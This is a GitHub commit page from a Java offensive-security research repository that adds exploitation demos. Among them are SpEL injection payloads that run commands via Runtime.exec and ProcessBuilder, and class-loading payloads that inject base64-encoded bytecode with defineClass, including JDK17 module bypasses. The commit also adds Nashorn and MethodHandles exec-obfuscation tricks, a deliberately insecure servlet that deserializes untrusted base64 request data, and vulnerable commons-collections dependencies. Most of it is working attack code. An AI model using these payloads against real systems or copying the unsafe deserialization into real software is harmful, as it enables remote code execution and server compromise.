Skip to content

Commit f4241fd

Browse files
WhoopsunixWhoopsunix
committed
add jdk17 demo :)
1 parent 33d1680 commit f4241fd

File tree

18 files changed

+461
-16
lines changed

18 files changed

+461
-16
lines changed

‎Command/src/main/java/org/command/code/ScriptEngineDemo.java

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,5 @@
11
package org.command.code;
22

3-
import org.ppp.tools.encryption.B64;
4-
53
import javax.script.ScriptEngine;
64
import javax.script.ScriptEngineFactory;
75
import javax.script.ScriptEngineManager;
@@ -83,6 +81,7 @@ public static void exec() throws Exception {
8381

8482
// type()
8583
String type = "var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator.app\");";
84+
System.out.println(type);
8685
// engine.eval(type);
8786

8887
// Rhino
@@ -98,7 +97,6 @@ public static void exec() throws Exception {
9897
// 注释符
9998
String comment1 = "java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator.app\")";
10099
String comment2 = "java.lang.//\nRuntime.getRuntime().exec(\"open -a Calculator.app\")";
101-
engine.eval(comment2);
102100

103101

104102
}

‎Command/src/main/java/org/command/exec/MethodHandlesRuntime.java

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
package org.command.exec;
2+
3+
import java.lang.invoke.MethodHandle;
4+
import java.lang.invoke.MethodHandles;
5+
import java.lang.invoke.MethodType;
6+
7+
/**
8+
* @author Whoopsunix
9+
*/
10+
public class MethodHandlesRuntime {
11+
public static void main(String[] args) throws Throwable {
12+
String cmd = "open -a Calculator.app";
13+
original(cmd);
14+
}
15+
16+
public static void original(String cmd) throws Exception {
17+
Class<?> cls = Class.forName("java.lang.Runtime");
18+
Object runtime = cls.getMethod("getRuntime").invoke(null);
19+
cls.getMethod("exec", String.class).invoke(runtime, cmd);
20+
}
21+
22+
public static void methodHandles(String cmd) throws Throwable {
23+
Class<?> cls = Class.forName("java.lang.Runtime");
24+
MethodHandle execMethod = MethodHandles.lookup().findVirtual(cls, "exec", MethodType.methodType(Process.class, String.class));
25+
execMethod.invoke(cls.getMethod("getRuntime").invoke(null), cmd);
26+
}
27+
}

‎Expression/SPELAttack/src/main/java/com/example/spelattack/SPEL.java

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,10 +15,12 @@ public static void main(String[] args) {
1515
/**
1616
* 命令执行
1717
*/
18+
String version = "{T(java.lang.System).getProperty('java.version')}";
1819
// 无回显
1920
String runtime = "T(java.lang.Runtime).getRuntime().exec('open -a Calculator.app')";
2021
// 回显
2122
String runtimeEcho = "new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter(\"\\\\A\").next()";
23+
String processBuilderEcho = "{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(\"bash\", \"-c\", \"whoami\").start().getInputStream(), \"gbk\")).readLine()}";
2224

2325
/**
2426
* 探测
@@ -30,12 +32,25 @@ public static void main(String[] args) {
3032
String sleep = "T(java.lang.Thread).sleep(10000)";
3133

3234
/**
33-
* todo 类加载
35+
* 类加载
3436
*/
37+
// sun.misc.BASE64Decoder
38+
String classLoad1 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',new sun.misc.BASE64Decoder().decodeBuffer('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}";
39+
String classLoad2 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',T(java.util.Base64).getDecoder().decode('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}";
40+
classLoad2 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',T(java.util.Base64).getDecoder().decode('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\"))}";
3541

42+
/**
43+
* 高版本利用
44+
*/
45+
// (java.lang.Thread).currentThread().getContextClassLoader()
46+
// 命名模块
47+
String classLoadJDK17_1 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\"))}";
48+
49+
// (java.lang.ClassLoader).getSystemClassLoader()
50+
String classLoadJDK17_2 = "{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='),T(java.lang.ClassLoader).getSystemClassLoader(), null, T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\"))}";
3651

3752

38-
Object obj = spel(runtime);
53+
Object obj = spel(classLoadJDK17_1);
3954
System.out.println(obj);
4055
}
4156

‎MemShellAndRceEcho/JakartaTomcatDemo/pom.xml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,8 @@
1313
<dependency>
1414
<groupId>org.apache.tomcat</groupId>
1515
<artifactId>tomcat-catalina</artifactId>
16-
<version>10.0.23</version>
17-
<!-- <version>11.0.0-M1</version>-->
16+
<!-- <version>10.0.23</version>-->
17+
<version>11.0.0-M1</version>
1818
</dependency>
1919
<!-- <dependency>-->
2020
<!-- <groupId>javax.servlet</groupId>-->

‎MemShellAndRceEcho/JavaxTomcatDemo/pom.xml

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,12 +13,11 @@
1313
<dependency>
1414
<groupId>org.apache.tomcat</groupId>
1515
<artifactId>tomcat-catalina</artifactId>
16-
<!-- <version>7.0.59</version>-->
17-
<!-- <version>7.0.109</version>-->
18-
<!-- <version>8.0.53</version>-->
19-
<version>8.5.82</version>
20-
<!-- <version>9.0.65</version>-->
21-
<!-- <version>10.0.23</version>-->
16+
<!-- <version>7.0.59</version>-->
17+
<!-- <version>7.0.109</version>-->
18+
<version>8.0.53</version>
19+
<!-- <version>8.5.82</version>-->
20+
<!-- <version>9.0.65</version>-->
2221
</dependency>
2322
<dependency>
2423
<groupId>commons-fileupload</groupId>
@@ -59,6 +58,11 @@
5958
<artifactId>c3p0</artifactId>
6059
<version>0.9.5.2</version>
6160
</dependency>
61+
<dependency>
62+
<groupId>com.alibaba</groupId>
63+
<artifactId>fastjson</artifactId>
64+
<version>1.2.83</version>
65+
</dependency>
6266

6367
<dependency>
6468
<groupId>org.ppp.tools</groupId>

‎MemShellAndRceEcho/LowTomcatDemo/pom.xml

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
3+
<artifactId>LowTomcatDemo</artifactId>
4+
<groupId>com.demo</groupId>
5+
<version>1.0-SNAPSHOT</version>
6+
<modelVersion>4.0.0</modelVersion>
7+
<packaging>war</packaging>
8+
<name>LowTomcatDemo</name>
9+
10+
11+
<dependencies>
12+
13+
<!-- <dependency>-->
14+
<!-- <groupId>org.apache.tomcat</groupId>-->
15+
<!-- <artifactId>tomcat-catalina</artifactId>-->
16+
<!-- &lt;!&ndash; <version>7.0.59</version>&ndash;&gt;-->
17+
<!-- <version>7.0.109</version>-->
18+
<!-- </dependency>-->
19+
<dependency>
20+
<groupId>commons-fileupload</groupId>
21+
<artifactId>commons-fileupload</artifactId>
22+
<version>1.5</version>
23+
</dependency>
24+
<dependency>
25+
<groupId>javax.servlet</groupId>
26+
<artifactId>servlet-api</artifactId>
27+
<version>2.5</version>
28+
</dependency>
29+
<dependency>
30+
<groupId>javax.servlet.jsp</groupId>
31+
<artifactId>jsp-api</artifactId>
32+
<version>2.2</version>
33+
</dependency>
34+
35+
<dependency>
36+
<groupId>org.apache.commons</groupId>
37+
<artifactId>commons-collections4</artifactId>
38+
<version>4.0</version>
39+
</dependency>
40+
<dependency>
41+
<groupId>commons-collections</groupId>
42+
<artifactId>commons-collections</artifactId>
43+
<!--<version>3.1</version>-->
44+
<!-- <version>3.2</version>-->
45+
<version>3.2.1</version>
46+
<!-- <version>3.2.2</version>-->
47+
</dependency>
48+
<dependency>
49+
<groupId>com.mchange</groupId>
50+
<artifactId>c3p0</artifactId>
51+
<version>0.9.5.2</version>
52+
</dependency>
53+
54+
55+
<dependency>
56+
<groupId>org.ppp.tools</groupId>
57+
<artifactId>Utils</artifactId>
58+
<version>1.0-SNAPSHOT</version>
59+
</dependency>
60+
61+
<dependency>
62+
<groupId>me.gv7.tools</groupId>
63+
<artifactId>java-object-searcher</artifactId>
64+
<version>0.1.0</version>
65+
</dependency>
66+
67+
</dependencies>
68+
69+
70+
<build>
71+
<resources>
72+
<resource>
73+
<directory>src/main/java</directory>
74+
<includes>
75+
<include>**/*.properties</include>
76+
<include>**/*.xml</include>
77+
</includes>
78+
</resource>
79+
<resource>
80+
<directory>src/main/resources</directory>
81+
<includes>
82+
<include>**/*.properties</include>
83+
<include>**/*.xml</include>
84+
</includes>
85+
<filtering>false</filtering>
86+
</resource>
87+
</resources>
88+
<finalName>JavaxTomcatDemo</finalName>
89+
<plugins>
90+
<plugin>
91+
<groupId>org.apache.maven.plugins</groupId>
92+
<artifactId>maven-compiler-plugin</artifactId>
93+
<configuration>
94+
<source>8</source>
95+
<target>8</target>
96+
</configuration>
97+
</plugin>
98+
</plugins>
99+
</build>
100+
</project>

‎MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package com.demo.servlet;
2+
3+
import javax.servlet.http.HttpServlet;
4+
import javax.servlet.http.HttpServletRequest;
5+
import javax.servlet.http.HttpServletResponse;
6+
import java.io.ByteArrayInputStream;
7+
import java.io.ObjectInputStream;
8+
import java.util.Base64;
9+
10+
public class Base64DeSerializerServlet extends HttpServlet {
11+
@Override
12+
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
13+
String cmd = req.getParameter("cmd");
14+
System.out.println(cmd);
15+
}
16+
17+
@Override
18+
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
19+
try {
20+
// 反序列化
21+
String base64Str = req.getParameter("base64Str");
22+
System.out.println(base64Str);
23+
byte[] bytes = Base64.getDecoder().decode(base64Str);
24+
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
25+
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
26+
objectInputStream.readObject();
27+
} catch (Exception e) {
28+
e.printStackTrace();
29+
}
30+
}
31+
32+
}
33+
34+
35+

‎MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
//package com.demo.servlet;
2+
//
3+
//import org.apache.commons.fileupload.FileItem;
4+
//import org.apache.commons.fileupload.FileItemFactory;
5+
//import org.apache.commons.fileupload.disk.DiskFileItemFactory;
6+
//import org.apache.commons.fileupload.servlet.ServletFileUpload;
7+
//
8+
//import javax.servlet.annotation.MultipartConfig;
9+
//import javax.servlet.http.HttpServlet;
10+
//import javax.servlet.http.HttpServletRequest;
11+
//import javax.servlet.http.HttpServletResponse;
12+
//import java.io.InputStream;
13+
//import java.io.ObjectInputStream;
14+
//import java.util.Collection;
15+
//import java.util.Iterator;
16+
//
17+
//@MultipartConfig
18+
//public class BinaryDeSerializerServlet extends HttpServlet {
19+
// @Override
20+
// protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
21+
// String cmd = req.getParameter("cmd");
22+
// System.out.println(cmd);
23+
// }
24+
//
25+
// @Override
26+
// protected void doPost(HttpServletRequest request, HttpServletResponse response) {
27+
// try {
28+
// // 检查请求是否包含文件上传
29+
// if (ServletFileUpload.isMultipartContent(request)) {
30+
// // 创建文件项目工厂
31+
// FileItemFactory factory = new DiskFileItemFactory();
32+
//
33+
// // 创建上传处理器
34+
// ServletFileUpload upload = new ServletFileUpload(factory);
35+
//
36+
// // 解析请求，获取文件项集合
37+
// @SuppressWarnings("unchecked")
38+
// Collection<FileItem> items = upload.parseRequest(request);
39+
//
40+
// Iterator<FileItem> iterator = items.iterator();
41+
// while (iterator.hasNext()) {
42+
// FileItem item = iterator.next();
43+
//
44+
// // 判断是否为普通表单字段还是文件上传字段
45+
// if (!item.isFormField()) {
46+
// // 获取上传文件的输入流
47+
// InputStream inputStream = item.getInputStream();
48+
//
49+
// // 使用对象输入流进行反序列化
50+
// ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
51+
// Object deserializedObject = objectInputStream.readObject();
52+
// objectInputStream.close();
53+
// }
54+
// }
55+
// }
56+
// } catch (Exception e) {
57+
// e.printStackTrace();
58+
// }
59+
// }
60+
//
61+
//}
62+
//
63+
//
64+
//

‎MemShellAndRceEcho/LowTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
package com.demo.utils;
2+
3+
import me.gv7.tools.josearcher.entity.Blacklist;
4+
import me.gv7.tools.josearcher.entity.Keyword;
5+
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
6+
7+
import java.util.ArrayList;
8+
import java.util.List;
9+
10+
11+
/**
12+
* @author Whoopsunix
13+
*/
14+
public class PayloadMake {
15+
public static void main(String[] args) throws Exception {
16+
new PayloadMake().searchTomcat();
17+
}
18+
19+
// public static void cc4() throws Exception {
20+
// Class msmClass = TomcatEcho.class;
21+
// CC4Generator cc4Generator = new CC4Generator();
22+
// String payload = cc4Generator.make(msmClass);
23+
// System.out.println(payload.length());
24+
// cc4Generator.makeFile(msmClass, "cc4.bin");
25+
// }
26+
27+
public void searchTomcat() {
28+
//设置搜索类型包含Request关键字的对象
29+
List<Keyword> keys = new ArrayList<>();
30+
keys.add(new Keyword.Builder().setField_type("Request").build());
31+
//定义黑名单
32+
List<Blacklist> blacklists = new ArrayList<>();
33+
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
34+
//新建一个广度优先搜索Thread.currentThread()的搜索器
35+
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
36+
// 设置黑名单
37+
searcher.setBlacklists(blacklists);
38+
//打开调试模式,会生成log日志
39+
searcher.setIs_debug(true);
40+
//挖掘深度为20
41+
searcher.setMax_search_depth(20);
42+
//设置报告保存位置
43+
searcher.setReport_save_path("/tmp/");
44+
searcher.searchObject();
45+
}
46+
47+
48+
}

0 commit comments

Comments
 (0)